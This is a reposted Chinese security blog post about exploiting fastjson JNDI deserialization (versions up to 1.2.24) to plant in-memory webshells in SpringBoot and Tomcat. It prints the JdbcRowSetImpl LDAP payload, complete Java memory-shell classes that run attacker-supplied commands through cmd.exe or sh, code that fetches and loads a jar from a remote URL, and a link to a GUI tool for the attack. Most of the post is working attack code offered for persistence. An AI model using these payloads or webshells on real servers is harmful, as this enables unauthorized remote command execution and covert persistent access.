炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 - MrMeizhi

admin 2021年12月31日15:53:11评论81 views字数 10520阅读35分4秒阅读模式

0x00 前言

最近听到一些小伙伴有fastjson注入内存马进行权限维持的需求,于是结合前阵子回显的系列以及内存马的文章,写了一个方便fastjson利用的一个工具。虽然在1.2.48之前已存在不出网就能利用的回显,显得本次利用很多余,但还是想把自己的调试思路写出来。此次调试虽然调试成功了,但很多代码细节还有些疑问,师傅们若是发现有错误的点请指出,本人将学习并纠正错误。

0x01 fastjson jndi利用

这里就拿最简单的fastjson<=1.2.24举例子,最简单的poc为

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://ip:port/xxx", 
    "autoCommit":true
}

SpringBoot 服务端代码为

import com.alibaba.fastjson.JSONObject;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Test {
    public Test() {
    }

    @RequestMapping({"/test"})
    public String test(@RequestBody String json) throws IllegalAccessException, InvocationTargetException, InstantiationException, MalformedURLException, ClassNotFoundException, NoSuchMethodException {
        JSONObject.parseObject(json);
        return "213";
    }
}

Tomcat 服务端代码为

//web.xml
<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>HelloTomcatServlet</servlet-name>
    <servlet-class>org.TestTomcatServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>HelloTomcatServlet</servlet-name>
    <url-pattern>/tomcat</url-pattern>
  </servlet-mapping>
</web-app>

以及

import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;

public class TestTomcatServlet extends HttpServlet {
    public TestTomcatServlet() {
    }

    public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws IOException {
        InputStream inputStream = httpServletRequest.getInputStream();
        String content = IOUtils.toString(inputStream, "utf-8");
        System.out.println(content);
        JSONObject.parse(content);
        OutputStream outputStream = httpServletResponse.getOutputStream();
        outputStream.write("test".getBytes());
    }
}

常见的利用为通过marshalsec,开启一个ldap或者rmi的服务,绑定http服务重定向至我们的http服务器,下载class文件进行利用,一般为反弹shell至公网的服务器。这里不对此利用再做进一步复现,网上资料比较多。
此次利用目的主要在扩展class文件利用上写入一个内存shell从而达到web权限维持和web回显的目的。

0x02 内存马

1、Sprinboot内存马

Springboot主要参考基于内存 Webshell 的无文件攻击技术研究该文章。
主要步骤为:获得当前代码运行时的上下文环境,并动态注册controller。

import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition;
import org.springframework.web.servlet.mvc.condition.HeadersRequestCondition;
import org.springframework.web.servlet.mvc.condition.ParamsRequestCondition;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.ProducesRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

public class SpringbootEcho {
    public SpringbootEcho() throws ClassNotFoundException, IllegalAccessException, InstantiationException, MalformedURLException, NoSuchMethodException {
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(this.getJarUrl())});
        Class cls = urlClassLoader.loadClass("SSOLogin");
        Method method = cls.getDeclaredMethods()[0];
        PatternsRequestCondition url = new PatternsRequestCondition(new String[]{"/DriedMangoCmd"});
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(new RequestMethod[0]);
        RequestMappingInfo info = new RequestMappingInfo(url, ms, (ParamsRequestCondition)null, (HeadersRequestCondition)null, (ConsumesRequestCondition)null, (ProducesRequestCondition)null, (RequestCondition)null);
        r.registerMapping(info, cls.newInstance(), method);
    }

    public String getJarUrl() {
        return "http://127.0.0.1:10011/a.jar";
    }
}

主要参考了文章当中的方法四通过RequestContextHolder.currentRequestAttributes().getAttribute获得context,再通过context进行注册,这里注册Controller必须要传入对象,因此通过URLClassLoader进行远程加载jar,在通过loadClass加载指定的类,最后通过newInstance实例化,传入到registerMapping当中。

其中getJarUrl中的a.jar主要内容为(这里可以修改为自己想要注入的马或者正向代理之类的)

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class SSOLogin {

    public void login(HttpServletRequest request, HttpServletResponse response){
        try {
            String arg0 = request.getParameter("code");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
        }
    }
}

2、Tomcat 内存马

tomcat内存马主要参考Filter型内存马,其中代码主要参Tomcat 源代码调试笔记 - 看不见的 Shell和三梦师傅的基于tomcat的内存 Webshell 无文件攻击技术,经过多次反复调试,最终代码如下

import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EnumSet;
import java.util.Scanner;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.FilterRegistration.Dynamic;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;

public class TomcatEcho {
    public TomcatEcho() {
        try {
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & -17);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & -17);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & -17);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            if (!WRAP_SAME_OBJECT.getBoolean((Object)null)) {
                WRAP_SAME_OBJECT.setBoolean((Object)null, true);
                lastServicedRequest.set((Object)null, new ThreadLocal());
                lastServicedResponse.set((Object)null, new ThreadLocal());
            } else {
                ThreadLocal<ServletRequest> threadLocalRequest = (ThreadLocal)lastServicedRequest.get((Object)null);
                ServletRequest request = (ServletRequest)threadLocalRequest.get();

                try {
                    ServletContext servletContext = request.getServletContext();
                    if (servletContext.getFilterRegistration("webShell") == null) {
                        Filter WebShellClass = new Filter() {
                            public void init(FilterConfig filterConfig) throws ServletException {
                            }

                            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
                                String cmd = request.getParameter("cmd");
                                if (cmd != null) {
                                    String[] cmds = null;
                                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                        cmds = new String[]{"cmd.exe", "/c", cmd};
                                    } else {
                                        cmds = new String[]{"sh", "-c", cmd};
                                    }

                                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = (new Scanner(in)).useDelimiter("\\a");
                                    String output = s.hasNext() ? s.next() : "";
                                    Writer writer = response.getWriter();
                                    writer.write(output);
                                    writer.flush();
                                    writer.close();
                                }

                                chain.doFilter(request, response);
                            }

                            public void destroy() {
                            }
                        };
                        Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
                        contextField = applicationContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        StandardContext standardContext = (StandardContext)contextField.get(applicationContext);
                        Field stateField = LifecycleBase.class.getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, LifecycleState.STARTING_PREP);
                        Dynamic filterRegistration = servletContext.addFilter("webShell", WebShellClass);
                        filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
                        Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, (Object[])null);
                        FilterMap[] filterMaps = standardContext.findFilterMaps();

                        for(int i = 0; i < filterMaps.length; ++i) {
                            if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
                                FilterMap filterMap = filterMaps[i];
                                filterMaps[i] = filterMaps[0];
                                filterMaps[0] = filterMap;
                                break;
                            }
                        }

                        stateField.set(standardContext, LifecycleState.STARTED);
                    }
                } catch (Exception var19) {
                    var19.printStackTrace();
                }
            }
        } catch (Exception var20) {
            var20.printStackTrace();
        }

    }
}

通过获取request和response对象进行回显,主要步骤为,获取request对象的ServerContext,再去注册filter,而filter中的逻辑则为我们的webshell。

0x03 fastjson+内存马分析与调试

在这两者结合利用的过程中,遇到了一些棘手的问题:
(1)首先是Springboot回显利用远程jar当中的ip地址需要经常指向现实中的公网地址,因此每一次利用之前都需要重新编译一次,不利于自动化利用。最后通过学习javassist发现可以进行动态修改且不需要重新编译。
(2)第二个是由于之前网上其他师傅的poc是直接在内部定一个一个内部类,导致每次ldap请求完成后都报错说缺少class文件,调了很久才发现可以通过Filter WebShellClass = new Filter()去动态创建一个类并实例化(我的java基础太不扎实了,难受)。

0x04 工具编写与使用

炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
再选择启一个Ldap服务端口,若对方为springboot容器则payload为SpringbootEcho,若为Tomcat容器则启用TomcatEcho
炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
选择fastjson jndi
炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
选择fastjson jndi,填入响应的ldap端口
炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 -  MrMeizhi
工具地址:
https://github.com/MrMeizhi/DriedMango

引用

http://wjlshare.com/archives/1529
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
https://www.anquanke.com/post/id/198886
https://github.com/mbechler/marshalsec
https://xz.aliyun.com/t/7348
https://xz.aliyun.com/t/7535

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:53:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具 - MrMeizhihttp://cn-sec.com/archives/712935.html

发表评论

匿名网友 填写信息